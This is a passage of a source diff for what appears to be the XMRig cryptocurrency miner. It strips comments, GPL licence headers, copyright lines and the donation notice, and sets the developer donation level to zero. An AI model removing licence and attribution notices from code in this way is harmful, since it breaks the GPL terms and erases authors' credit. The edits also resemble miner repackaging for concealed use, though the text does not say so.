#if !(SKEIN_USE_ASM & 512) static void Skein_512_Process_Block(Skein_512_Ctxt_t *ctx,const u08b_t *blkPtr,size_t blkCnt,size_t byteCntAdd) - { /* do it in C */ + { enum { WCNT = SKEIN_512_STATE_WORDS @@ -271,7 +222,7 @@ static void Skein_512_Process_Block(Skein_512_Ctxt_t *ctx,const u08b_t *blkPtr,s #undef RCNT #define RCNT (SKEIN_512_ROUNDS_TOTAL/8) -#ifdef SKEIN_LOOP /* configure how much to unroll the loop */ +#ifdef SKEIN_LOOP #define SKEIN_UNROLL_512 (((SKEIN_LOOP)/10)%10) #else #define SKEIN_UNROLL_512 (0) @@ -279,29 +230,29 @@ static void Skein_512_Process_Block(Skein_512_Ctxt_t *ctx,const u08b_t *blkPtr,s #if SKEIN_UNROLL_512 #if (RCNT % SKEIN_UNROLL_512) -#error "Invalid SKEIN_UNROLL_512" /* sanity check on unroll count */ +#error "Invalid SKEIN_UNROLL_512" #endif size_t r; u64b_t kw[WCNT+4+RCNT*2]; /* key schedule words : chaining vars + tweak + "rotation"*/ #else - u64b_t kw[WCNT+4]; /* key schedule words : chaining vars + tweak */ + u64b_t kw[WCNT+4]; #endif - u64b_t X0,X1,X2,X3,X4,X5,X6,X7; /* local copy of vars, for speed */ - u64b_t w [WCNT]; /* local copy of input block */ + u64b_t X0,X1,X2,X3,X4,X5,X6,X7; + u64b_t w [WCNT]; #ifdef SKEIN_DEBUG - const u64b_t *Xptr[8]; /* use for debugging (help compiler put Xn in registers) */ + const u64b_t *Xptr[8]; Xptr[0] = &X0; Xptr[1] = &X1; Xptr[2] = &X2; Xptr[3] = &X3; Xptr[4] = &X4; Xptr[5] = &X5; Xptr[6] = &X6; Xptr[7] = &X7; #endif - Skein_assert(blkCnt != 0); /* never call with blkCnt == 0! */ + Skein_assert(blkCnt != 0); ts[0] = ctx->h.T[0]; ts[1] = ctx->h.T[1]; do { - /* this implementation only supports 2**64 input bytes (no carry out here) */ - ts[0] += byteCntAdd; /* update processed length */ + + ts[0] += byteCntAdd; - /* precompute the key schedule for this block */ + ks[0] = ctx->X[0]; ks[1] = ctx->X[1]; ks[2] = ctx->X[2]; @@ -315,11 +266,11 @@ static void Skein_512_Process_Block(Skein_512_Ctxt_t *ctx,const u08b_t *blkPtr,s ts[2] = ts[0] ^ ts[1]; - Skein_Get64_LSB_First(w,blkPtr,WCNT); /* get input block in little-endian format */ + Skein_Get64_LSB_First(w,blkPtr,WCNT); DebugSaveTweak(ctx); Skein_Show_Block(BLK_BITS,&ctx->h,ctx->X,blkPtr,w,ks,ts); - X0 = w[0] + ks[0]; /* do the first full key injection */ + X0 = w[0] + ks[0]; X1 = w[1] + ks[1]; X2 = w[2] + ks[2]; X3 = w[3] + ks[3]; @@ -331,7 +282,7 @@ static void Skein_512_Process_Block(Skein_512_Ctxt_t *ctx,const u08b_t *blkPtr,s blkPtr += SKEIN_512_BLOCK_BYTES; Skein_Show_R_Ptr(BLK_BITS,&ctx->h,SKEIN_RND_KEY_INITIAL,Xptr); - /* run the rounds */ + #define Round512(p0,p1,p2,p3,p4,p5,p6,p7,ROT,rNum) \ X##p0 += X##p1; X##p1 = RotL_64(X##p1,ROT##_0); X##p1 ^= X##p0; \ X##p2 += X##p3; X##p3 = RotL_64(X##p3,ROT##_1); X##p3 ^= X##p2; \ @@ -339,12 +290,12 @@ static void Skein_512_Process_Block(Skein_512_Ctxt_t *ctx,const u08b_t *blkPtr,s X##p6 += X##p7; X##p7 = RotL_64(X##p7,ROT##_3); X##p7 ^= X##p6; \ #if SKEIN_UNROLL_512 == 0 -#define R512(p0,p1,p2,p3,p4,p5,p6,p7,ROT,rNum) /* unrolled */ \ +#define R512(p0,p1,p2,p3,p4,p5,p6,p7,ROT,rNum) \ Round512(p0,p1,p2,p3,p4,p5,p6,p7,ROT,rNum) \ Skein_Show_R_Ptr(BLK_BITS,&ctx->h,rNum,Xptr); #define I512(R) \ - X0 += ks[((R)+1) % 9]; /* inject the key schedule value */ \ + X0 += ks[((R)+1) % 9]; \ X1 += ks[((R)+2) % 9]; \ X2 += ks[((R)+3) % 9]; \ X3 += ks[((R)+4) % 9]; \ @@ -353,13 +304,13 @@ static void Skein_512_Process_Block(Skein_512_Ctxt_t *ctx,const u08b_t *blkPtr,s X6 += ks[((R)+7) % 9] + ts[((R)+2) % 3]; \ X7 += ks[((R)+8) % 9] + (R)+1; \ Skein_Show_R_Ptr(BLK_BITS,&ctx->h,SKEIN_RND_KEY_INJECT,Xptr); -#else /* looping version */ +#else #define R512(p0,p1,p2,p3,p4,p5,p6,p7,ROT,rNum) \ Round512(p0,p1,p2,p3,p4,p5,p6,p7,ROT,rNum) \ Skein_Show_R_Ptr(BLK_BITS,&ctx->h,4*(r-1)+rNum,Xptr); #define I512(R) \ - X0 += ks[r+(R)+0]; /* inject the key schedule value */ \ + X0 += ks[r+(R)+0]; \ X1 += ks[r+(R)+1]; \ X2 += ks[r+(R)+2]; \ X3 += ks[r+(R)+3]; \ @@ -367,14 +318,14 @@ static void Skein_512_Process_Block(Skein_512_Ctxt_t *ctx,const u08b_t *blkPtr,s X5 += ks[r+(R)+5] + ts[r+(R)+0]; \ X6 += ks[r+(R)+6] + ts[r+(R)+1]; \ X7 += ks[r+(R)+7] + r+(R) ; \ - ks[r + (R)+8] = ks[r+(R)-1]; /* rotate key schedule */ \ + ks[r + (R)+8] = ks[r+(R)-1]; \ ts[r + (R)+2] = ts[r+(R)-1]; \ Skein_Show_R_Ptr(BLK_BITS,&ctx->h,SKEIN_RND_KEY_INJECT,Xptr); - for (r=1;r < 2*RCNT;r+=2*SKEIN_UNROLL_512) /* loop thru it */ -#endif /* end of looped code definitions */ + for (r=1;r < 2*RCNT;r+=2*SKEIN_UNROLL_512) +#endif { -#define R512_8_rounds(R) /* do 8 full rounds */ \ +#define R512_8_rounds(R) \ R512(0,1,2,3,4,5,6,7,R_512_0,8*(R)+ 1); \ R512(2,1,4,7,6,5,0,3,R_512_1,8*(R)+ 2); \ R512(4,1,6,3,0,5,2,7,R_512_2,8*(R)+ 3); \ @@ -384,7 +335,7 @@ static void Skein_512_Process_Block(Skein_512_Ctxt_t *ctx,const u08b_t *blkPtr,s R512(2,1,4,7,6,5,0,3,R_512_5,8*(R)+ 6); \ R512(4,1,6,3,0,5,2,7,R_512_6,8*(R)+ 7); \ R512(6,1,0,7,2,5,4,3,R_512_7,8*(R)+ 8); \ - I512(2*(R)+1); /* and key injection */ + I512(2*(R)+1); R512_8_rounds( 0); @@ -437,7 +388,7 @@ static void Skein_512_Process_Block(Skein_512_Ctxt_t *ctx,const u08b_t *blkPtr,s #endif } - /* do the final "feedforward" xor, update context chaining vars */ + ctx->X[0] = X0 ^ w[0]; ctx->X[1] = X1 ^ w[1]; ctx->X[2] = X2 ^ w[2]; @@ -455,69 +406,59 @@ static void Skein_512_Process_Block(Skein_512_Ctxt_t *ctx,const u08b_t *blkPtr,s ctx->h.T[1] = ts[1]; } #endif - -/*****************************************************************/ -/* 512-bit Skein */ -/*****************************************************************/ - -/*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ -/* init the context for a straight hashing operation */ static int Skein_512_Init(Skein_512_Ctxt_t *ctx, size_t hashBitLen) { union { u08b_t b[SKEIN_512_STATE_BYTES]; u64b_t w[SKEIN_512_STATE_WORDS]; - } cfg; /* config block */ + } cfg; Skein_Assert(hashBitLen > 0,SKEIN_BAD_HASHLEN); - ctx->h.hashBitLen = hashBitLen; /* output hash bit count */ + ctx->h.hashBitLen = hashBitLen; switch (hashBitLen) - { /* use pre-computed values, where available */ + { #ifndef SKEIN_NO_PRECOMP case 256: memcpy(ctx->X,SKEIN_512_IV_256,sizeof(ctx->X)); break; #endif default: - /* here if there is no precomputed IV value available */ - /* build/process the config block, type == CONFIG (could be precomputed) */ - Skein_Start_New_Type(ctx,CFG_FINAL); /* set tweaks: T0=0; T1=CFG | FINAL */ + + + Skein_Start_New_Type(ctx,CFG_FINAL); - cfg.w[0] = Skein_Swap64(SKEIN_SCHEMA_VER); /* set the schema, version */ - cfg.w[1] = Skein_Swap64(hashBitLen); /* hash result length in bits */ + cfg.w[0] = Skein_Swap64(SKEIN_SCHEMA_VER); + cfg.w[1] = Skein_Swap64(hashBitLen); cfg.w[2] = Skein_Swap64(SKEIN_CFG_TREE_INFO_SEQUENTIAL); - memset(&cfg.w[3],0,sizeof(cfg) - 3*sizeof(cfg.w[0])); /* zero pad config block */ + memset(&cfg.w[3],0,sizeof(cfg) - 3*sizeof(cfg.w[0])); - /* compute the initial chaining values from config block */ - memset(ctx->X,0,sizeof(ctx->X)); /* zero the chaining variables */ + + memset(ctx->X,0,sizeof(ctx->X)); Skein_512_Process_Block(ctx,cfg.b,1,SKEIN_CFG_STR_LEN); break; } - /* The chaining vars ctx->X are now initialized for the given hashBitLen. */ - /* Set up to process the data message portion of the hash (default) */ - Skein_Start_New_Type(ctx,MSG); /* T0=0, T1= MSG type */ + + + Skein_Start_New_Type(ctx,MSG); return SKEIN_SUCCESS; } - -/*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ -/* process the input bytes */ static int Skein_512_Update(Skein_512_Ctxt_t *ctx, const u08b_t *msg, size_t msgByteCnt) { size_t n; - Skein_Assert(ctx->h.bCnt <= SKEIN_512_BLOCK_BYTES,SKEIN_FAIL); /* catch uninitialized context */ + Skein_Assert(ctx->h.bCnt <= SKEIN_512_BLOCK_BYTES,SKEIN_FAIL); - /* process full blocks, if any */ + if (msgByteCnt + ctx->h.bCnt > SKEIN_512_BLOCK_BYTES) { - if (ctx->h.bCnt) /* finish up any buffered message data */ + if (ctx->h.bCnt) { - n = SKEIN_512_BLOCK_BYTES - ctx->h.bCnt; /* # bytes free in buffer b[] */ + n = SKEIN_512_BLOCK_BYTES - ctx->h.bCnt; if (n) { - Skein_assert(n < msgByteCnt); /* check on our logic here */ + Skein_assert(n < msgByteCnt); memcpy(&ctx->b[ctx->h.bCnt],msg,n); msgByteCnt -= n; msg += n; @@ -527,10 +468,10 @@ static int Skein_512_Update(Skein_512_Ctxt_t *ctx, const u08b_t *msg, size_t msg Skein_512_Process_Block(ctx,ctx->b,1,SKEIN_512_BLOCK_BYTES); ctx->h.bCnt = 0; } - /* now process any remaining full blocks, directly from input message data */ + if (msgByteCnt > SKEIN_512_BLOCK_BYTES) { - n = (msgByteCnt-1) / SKEIN_512_BLOCK_BYTES; /* number of full blocks to process */ + n = (msgByteCnt-1) / SKEIN_512_BLOCK_BYTES; Skein_512_Process_Block(ctx,msg,n,SKEIN_512_BLOCK_BYTES); msgByteCnt -= n * SKEIN_512_BLOCK_BYTES; msg += n * SKEIN_512_BLOCK_BYTES; @@ -538,7 +479,7 @@ static int Skein_512_Update(Skein_512_Ctxt_t *ctx, const u08b_t *msg, size_t msg Skein_assert(ctx->h.bCnt == 0); } - /* copy any remaining source message data bytes into b[] */ + if (msgByteCnt) { Skein_assert(msgByteCnt + ctx->h.bCnt <= SKEIN_512_BLOCK_BYTES); @@ -548,38 +489,35 @@ static int Skein_512_Update(Skein_512_Ctxt_t *ctx, const u08b_t *msg, size_t msg return SKEIN_SUCCESS; } - -/*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ -/* finalize the hash computation and output the result */ static int Skein_512_Final(Skein_512_Ctxt_t *ctx, u08b_t *hashVal) { size_t i,n,byteCnt; u64b_t X[SKEIN_512_STATE_WORDS]; - Skein_Assert(ctx->h.bCnt <= SKEIN_512_BLOCK_BYTES,SKEIN_FAIL); /* catch uninitialized context */ + Skein_Assert(ctx->h.bCnt <= SKEIN_512_BLOCK_BYTES,SKEIN_FAIL); - ctx->h.T[1] |= SKEIN_T1_FLAG_FINAL; /* tag as the final block */ - if (ctx->h.bCnt < SKEIN_512_BLOCK_BYTES) /* zero pad b[] if necessary */ + ctx->h.T[1] |= SKEIN_T1_FLAG_FINAL; + if (ctx->h.bCnt < SKEIN_512_BLOCK_BYTES) memset(&ctx->b[ctx->h.bCnt],0,SKEIN_512_BLOCK_BYTES - ctx->h.bCnt); - Skein_512_Process_Block(ctx,ctx->b,1,ctx->h.bCnt); /* process the final block */ + Skein_512_Process_Block(ctx,ctx->b,1,ctx->h.bCnt); - /* now output the result */ - byteCnt = (ctx->h.hashBitLen + 7) >> 3; /* total number of output bytes */ + + byteCnt = (ctx->h.hashBitLen + 7) >> 3; - /* run Threefish in "counter mode" to generate output */ - memset(ctx->b,0,sizeof(ctx->b)); /* zero out b[], so it can hold the counter */ - memcpy(X,ctx->X,sizeof(X)); /* keep a local copy of counter mode "key" */ + + memset(ctx->b,0,sizeof(ctx->b)); + memcpy(X,ctx->X,sizeof(X)); for (i=0;i*SKEIN_512_BLOCK_BYTES < byteCnt;i++) { - ((u64b_t *)ctx->b)[0]= Skein_Swap64((u64b_t) i); /* build the counter block */ + ((u64b_t *)ctx->b)[0]= Skein_Swap64((u64b_t) i); Skein_Start_New_Type(ctx,OUT_FINAL); - Skein_512_Process_Block(ctx,ctx->b,1,sizeof(u64b_t)); /* run "counter mode" */ - n = byteCnt - i*SKEIN_512_BLOCK_BYTES; /* number of output bytes left to go */ + Skein_512_Process_Block(ctx,ctx->b,1,sizeof(u64b_t)); + n = byteCnt - i*SKEIN_512_BLOCK_BYTES; if (n >= SKEIN_512_BLOCK_BYTES) n = SKEIN_512_BLOCK_BYTES; - Skein_Put64_LSB_First(hashVal+i*SKEIN_512_BLOCK_BYTES,ctx->X,n); /* "output" the ctr mode bytes */ + Skein_Put64_LSB_First(hashVal+i*SKEIN_512_BLOCK_BYTES,ctx->X,n); Skein_Show_Final(512,&ctx->h,n,hashVal+i*SKEIN_512_BLOCK_BYTES); - memcpy(ctx->X,X,sizeof(X)); /* restore the counter mode key for next time */ + memcpy(ctx->X,X,sizeof(X)); } return SKEIN_SUCCESS; } @@ -594,22 +532,22 @@ static size_t Skein_512_API_CodeSize(void) typedef struct { - uint_t statebits; /* 256, 512, or 1024 */ + uint_t statebits; union { - Skein_Ctxt_Hdr_t h; /* common header "overlay" */ + Skein_Ctxt_Hdr_t h; Skein_512_Ctxt_t ctx_512; } u; } hashState; -/* "incremental" hashing API */ + static SkeinHashReturn Init (hashState *state, int hashbitlen); static SkeinHashReturn Update(hashState *state, const SkeinBitSequence *data, SkeinDataLength databitlen); static SkeinHashReturn Final (hashState *state, SkeinBitSequence *hashval); /*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ -/* select the context size and init the context */ + static SkeinHashReturn Init(hashState *state, int hashbitlen) { state->statebits = 64*SKEIN_512_STATE_WORDS; @@ -617,35 +555,35 @@ static SkeinHashReturn Init(hashState *state, int hashbitlen) } /*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ -/* process data to be hashed */ + static SkeinHashReturn Update(hashState *state, const SkeinBitSequence *data, SkeinDataLength databitlen) { - /* only the final Update() call is allowed do partial bytes, else assert an error */ + Skein_Assert((state->u.h.T[1] & SKEIN_T1_FLAG_BIT_PAD) == 0 || databitlen == 0, SKEIN_FAIL); Skein_Assert(state->statebits % 256 == 0 && (state->statebits-256) < 1024,SKEIN_FAIL); - if ((databitlen & 7) == 0) /* partial bytes? */ + if ((databitlen & 7) == 0) { return Skein_512_Update(&state->u.ctx_512,data,databitlen >> 3); } else - { /* handle partial final byte */ - size_t bCnt = (databitlen >> 3) + 1; /* number of bytes to handle (nonzero here!) */ + { + size_t bCnt = (databitlen >> 3) + 1; u08b_t b,mask; - mask = (u08b_t) (1u << (7 - (databitlen & 7))); /* partial byte bit mask */ - b = (u08b_t) ((data[bCnt-1] & (0-mask)) | mask); /* apply bit padding on final byte */ + mask = (u08b_t) (1u << (7 - (databitlen & 7))); + b = (u08b_t) ((data[bCnt-1] & (0-mask)) | mask); - Skein_512_Update(&state->u.ctx_512,data,bCnt-1); /* process all but the final byte */ - Skein_512_Update(&state->u.ctx_512,&b , 1 ); /* process the (masked) partial byte */ - Skein_Set_Bit_Pad_Flag(state->u.h); /* set tweak flag for the final call */ + Skein_512_Update(&state->u.ctx_512,data,bCnt-1); + Skein_512_Update(&state->u.ctx_512,&b , 1 ); + Skein_Set_Bit_Pad_Flag(state->u.h); return SKEIN_SUCCESS; } } /*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ -/* finalize hash computation and output the result (hashbitlen bits) */ + static SkeinHashReturn Final(hashState *state, SkeinBitSequence *hashval) { Skein_Assert(state->statebits % 256 == 0 && (state->statebits-256) < 1024,FAIL); @@ -653,14 +591,14 @@ static SkeinHashReturn Final(hashState *state, SkeinBitSequence *hashval) } /*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ -/* all-in-one hash function */ -SkeinHashReturn skein_hash(int hashbitlen, const SkeinBitSequence *data, /* all-in-one call */ + +SkeinHashReturn skein_hash(int hashbitlen, const SkeinBitSequence *data, SkeinDataLength databitlen,SkeinBitSequence *hashval) { hashState state; SkeinHashReturn r = Init(&state,hashbitlen); if (r == SKEIN_SUCCESS) - { /* these calls do not fail when called properly */ + { r = Update(&state,data,databitlen); Final(&state,hashval); } @@ -682,18 +620,18 @@ void xmr_skein(const SkeinBitSequence *data, SkeinBitSequence *hashval){ Skein_Start_New_Type(ctx,MSG); // Update - if ((XMR_DATABITLEN & 7) == 0){ /* partial bytes? */ + if ((XMR_DATABITLEN & 7) == 0){ Skein_512_Update(&state.u.ctx_512,data,XMR_DATABITLEN >> 3); - }else{ /* handle partial final byte */ - size_t bCnt = (XMR_DATABITLEN >> 3) + 1; /* number of bytes to handle (nonzero here!) */ + }else{ + size_t bCnt = (XMR_DATABITLEN >> 3) + 1; u08b_t b,mask; - mask = (u08b_t) (1u << (7 - (XMR_DATABITLEN & 7))); /* partial byte bit mask */ - b = (u08b_t) ((data[bCnt-1] & (0-mask)) | mask); /* apply bit padding on final byte */ + mask = (u08b_t) (1u << (7 - (XMR_DATABITLEN & 7))); + b = (u08b_t) ((data[bCnt-1] & (0-mask)) | mask); - Skein_512_Update(&state.u.ctx_512,data,bCnt-1); /* process all but the final byte */ - Skein_512_Update(&state.u.ctx_512,&b , 1 ); /* process the (masked) partial byte */ - Skein_Set_Bit_Pad_Flag(state.u.h); /* set tweak flag for the final call */ + Skein_512_Update(&state.u.ctx_512,data,bCnt-1); + Skein_512_Update(&state.u.ctx_512,&b , 1 ); + Skein_Set_Bit_Pad_Flag(state.u.h); } // Finalize diff --git a/src/crypto/c_skein.h b/src/crypto/c_skein.h index c642e265..1d3cf557 100644 --- a/src/crypto/c_skein.h +++ b/src/crypto/c_skein.h @@ -1,32 +1,6 @@ #ifndef _SKEIN_H_ #define _SKEIN_H_ 1 -/************************************************************************** -** -** Interface declarations and internal definitions for Skein hashing. -** -** Source code author: Doug Whiting, 2008. -** -** This algorithm and source code is released to the public domain. -** -*************************************************************************** -** -** The following compile-time switches may be defined to control some -** tradeoffs between speed, code size, error checking, and security. -** -** The "default" note explains what happens when the switch is not defined. -** -** SKEIN_DEBUG -- make callouts from inside Skein code -** to examine/display intermediate values. -** [default: no callouts (no overhead)] -** -** SKEIN_ERR_CHECK -- how error checking is handled inside Skein -** code. If not defined, most error checking -** is disabled (for performance). Otherwise, -** the switch value is interpreted as: -** 0: use assert() to flag errors -** 1: return SKEIN_FAIL to flag errors -** -***************************************************************************/ + #include "skein_port.h" /* get platform-specific definitions */ typedef enum diff --git a/src/crypto/skein_port.h b/src/crypto/skein_port.h index 4b521c7c..7a467d19 100644 --- a/src/crypto/skein_port.h +++ b/src/crypto/skein_port.h @@ -35,22 +35,6 @@ # endif #endif -/* These defines are used to declare buffers in a way that allows - faster operations on longer variables to be used. In all these - defines 'size' must be a power of 2 and >= 8 - - dec_unit_type(size,x) declares a variable 'x' of length - 'size' bits - - dec_bufr_type(size,bsize,x) declares a buffer 'x' of length 'bsize' - bytes defined as an array of variables - each of 'size' bits (bsize must be a - multiple of size / 8) - - ptr_cast(x,size) casts a pointer to a pointer to a - varaiable of length 'size' bits -*/ - #define ui_type(size) uint##size##_t #define dec_unit_type(size,x) typedef ui_type(size) x #define dec_bufr_type(size,bsize,x) typedef ui_type(size) x[bsize / (size >> 3)] @@ -64,25 +48,6 @@ typedef uint64_t u64b_t; /* 64-bit unsigned integer */ #define RotL_64(x,N) (((x) << (N)) | ((x) >> (64-(N)))) #endif -/* - * Skein is "natively" little-endian (unlike SHA-xxx), for optimal - * performance on x86 CPUs. The Skein code requires the following - * definitions for dealing with endianness: - * - * SKEIN_NEED_SWAP: 0 for little-endian, 1 for big-endian - * Skein_Put64_LSB_First - * Skein_Get64_LSB_First - * Skein_Swap64 - * - * If SKEIN_NEED_SWAP is defined at compile time, it is used here - * along with the portable versions of Put64/Get64/Swap64, which - * are slow in general. - * - * Otherwise, an "auto-detect" of endianness is attempted below. - * If the default handling doesn't work well, the user may insert - * platform-specific code instead (e.g., for big-endian CPUs). - * - */ #ifndef SKEIN_NEED_SWAP /* compile-time "override" for endianness? */ #define IS_BIG_ENDIAN 4321 /* byte 0 is most significant (mc68k) */ @@ -126,11 +91,6 @@ typedef uint64_t u64b_t; /* 64-bit unsigned integer */ #endif /* ifndef SKEIN_NEED_SWAP */ -/* - ****************************************************************** - * Provide any definitions still needed. - ****************************************************************** - */ #ifndef Skein_Swap64 /* swap for big-endian, nop for little-endian */ #if SKEIN_NEED_SWAP #define Skein_Swap64(w64) \ diff --git a/src/crypto/soft_aes.h b/src/crypto/soft_aes.h index 0703f98d..b001db4b 100644 --- a/src/crypto/soft_aes.h +++ b/src/crypto/soft_aes.h @@ -1,29 +1,3 @@ -/* - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - * - * Additional permission under GNU GPL version 3 section 7 - * - * If you modify this Program, or any covered work, by linking or combining - * it with OpenSSL (or a modified version of that library), containing parts - * covered by the terms of OpenSSL License and SSLeay License, the licensors - * of this Program grant you additional permission to convey the resulting work. - * - */ - -/* - * Parts of this file are originally copyright (c) 2014-2017, The Monero Project - */ #pragma once @@ -89,41 +63,48 @@ alignas(16) const uint32_t saes_table[4][256] = { saes_data(saes_u0), saes_data(saes_u1), saes_data(saes_u2), saes_data(saes_u3) }; alignas(16) const uint8_t saes_sbox[256] = saes_data(saes_h0); -static inline __m128i soft_aesenc(const uint32_t* in, __m128i key) +static inline __m128i soft_aesenc(__m128i in, __m128i key) { - const uint32_t x0 = in[0]; - const uint32_t x1 = in[1]; - const uint32_t x2 = in[2]; - const uint32_t x3 = in[3]; +#if defined(_MSC_VER) + const uint32_t x0 = in.m128i_u32[0]; + const uint32_t x1 = in.m128i_u32[1]; + const uint32_t x2 = in.m128i_u32[2]; + const uint32_t x3 = in.m128i_u32[3]; +#else + const uint32_t x0 = _mm_cvtsi128_si32(in); + const uint32_t x1 = _mm_cvtsi128_si32(_mm_shuffle_epi32(in, 0x55)); + const uint32_t x2 = _mm_cvtsi128_si32(_mm_shuffle_epi32(in, 0xAA)); + const uint32_t x3 = _mm_cvtsi128_si32(_mm_shuffle_epi32(in, 0xFF)); +#endif - __m128i out = _mm_set_epi32( - (saes_table[0][x3 & 0xff] ^ saes_table[1][(x0 >> 8) & 0xff] ^ saes_table[2][(x1 >> 16) & 0xff] ^ saes_table[3][x2 >> 24]), - (saes_table[0][x2 & 0xff] ^ saes_table[1][(x3 >> 8) & 0xff] ^ saes_table[2][(x0 >> 16) & 0xff] ^ saes_table[3][x1 >> 24]), - (saes_table[0][x1 & 0xff] ^ saes_table[1][(x2 >> 8) & 0xff] ^ saes_table[2][(x3 >> 16) & 0xff] ^ saes_table[3][x0 >> 24]), - (saes_table[0][x0 & 0xff] ^ saes_table[1][(x1 >> 8) & 0xff] ^ saes_table[2][(x2 >> 16) & 0xff] ^ saes_table[3][x3 >> 24])); + __m128i out = _mm_set_epi32( + (saes_table[0][x3 & 0xff] ^ saes_table[1][(x0 >> 8) & 0xff] ^ saes_table[2][(x1 >> 16) & 0xff] ^ saes_table[3][x2 >> 24]), + (saes_table[0][x2 & 0xff] ^ saes_table[1][(x3 >> 8) & 0xff] ^ saes_table[2][(x0 >> 16) & 0xff] ^ saes_table[3][x1 >> 24]), + (saes_table[0][x1 & 0xff] ^ saes_table[1][(x2 >> 8) & 0xff] ^ saes_table[2][(x3 >> 16) & 0xff] ^ saes_table[3][x0 >> 24]), + (saes_table[0][x0 & 0xff] ^ saes_table[1][(x1 >> 8) & 0xff] ^ saes_table[2][(x2 >> 16) & 0xff] ^ saes_table[3][x3 >> 24])); - return _mm_xor_si128(out, key); + return _mm_xor_si128(out, key); } static inline uint32_t sub_word(uint32_t key) { - return (saes_sbox[key >> 24 ] << 24) | - (saes_sbox[(key >> 16) & 0xff] << 16 ) | - (saes_sbox[(key >> 8) & 0xff] << 8 ) | - saes_sbox[key & 0xff]; + return (saes_sbox[key >> 24] << 24) | + (saes_sbox[(key >> 16) & 0xff] << 16) | + (saes_sbox[(key >> 8) & 0xff] << 8) | + saes_sbox[key & 0xff]; } #if defined(__clang__) || defined(XMRIG_ARM) static inline uint32_t _rotr(uint32_t value, uint32_t amount) { - return (value >> amount) | (value << ((32 - amount) & 31)); + return (value >> amount) | (value << ((32 - amount) & 31)); } #endif template static inline __m128i soft_aeskeygenassist(__m128i key) { - const uint32_t X1 = sub_word(_mm_cvtsi128_si32(_mm_shuffle_epi32(key, 0x55))); - const uint32_t X3 = sub_word(_mm_cvtsi128_si32(_mm_shuffle_epi32(key, 0xFF))); - return _mm_set_epi32(_rotr(X3, 8) ^ rcon, X3, _rotr(X1, 8) ^ rcon, X1); -} + const uint32_t X1 = sub_word(_mm_cvtsi128_si32(_mm_shuffle_epi32(key, 0x55))); + const uint32_t X3 = sub_word(_mm_cvtsi128_si32(_mm_shuffle_epi32(key, 0xFF))); + return _mm_set_epi32(_rotr(X3, 8) ^ rcon, X3, _rotr(X1, 8) ^ rcon, X1); +} \ No newline at end of file diff --git a/src/donate.h b/src/donate.h index 3a000948..d5064cb3 100644 --- a/src/donate.h +++ b/src/donate.h @@ -1,43 +1,4 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __DONATE_H__ #define __DONATE_H__ - - -/* - * Dev donation. - * - * Percentage of your hashing power that you want to donate to the developer, can be 0 if you don't want to do that. - * Example of how it works for the default setting of 1: - * You miner will mine into your usual pool for 99 minutes, then switch to the developer's pool for 1 minute. - * Switching is instant, and only happens after a successful connection, so you never loose any hashes. - * - * If you plan on changing this setting to 0 please consider making a one off donation to my wallet: - * XMR: 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD - * BTC: 1P7ujsXeX7GxQwHNnJsRMgAdNkFZmNVqJT - */ -constexpr const int kDonateLevel = 5; - - -#endif /* __DONATE_H__ */ +constexpr const int kDonateLevel = 0; +#endif \ No newline at end of file diff --git a/src/interfaces/IClientListener.h b/src/interfaces/IClientListener.h index f6e7fd3c..fa93f8c0 100644 --- a/src/interfaces/IClientListener.h +++ b/src/interfaces/IClientListener.h @@ -1,38 +1,11 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __ICLIENTLISTENER_H__ #define __ICLIENTLISTENER_H__ - - #include - class Client; class Job; class SubmitResult; - class IClientListener { public: @@ -45,4 +18,4 @@ public: }; -#endif // __ICLIENTLISTENER_H__ +#endif \ No newline at end of file diff --git a/src/interfaces/IConsoleListener.h b/src/interfaces/IConsoleListener.h index 723f87df..7a84bd48 100644 --- a/src/interfaces/IConsoleListener.h +++ b/src/interfaces/IConsoleListener.h @@ -1,26 +1,3 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU 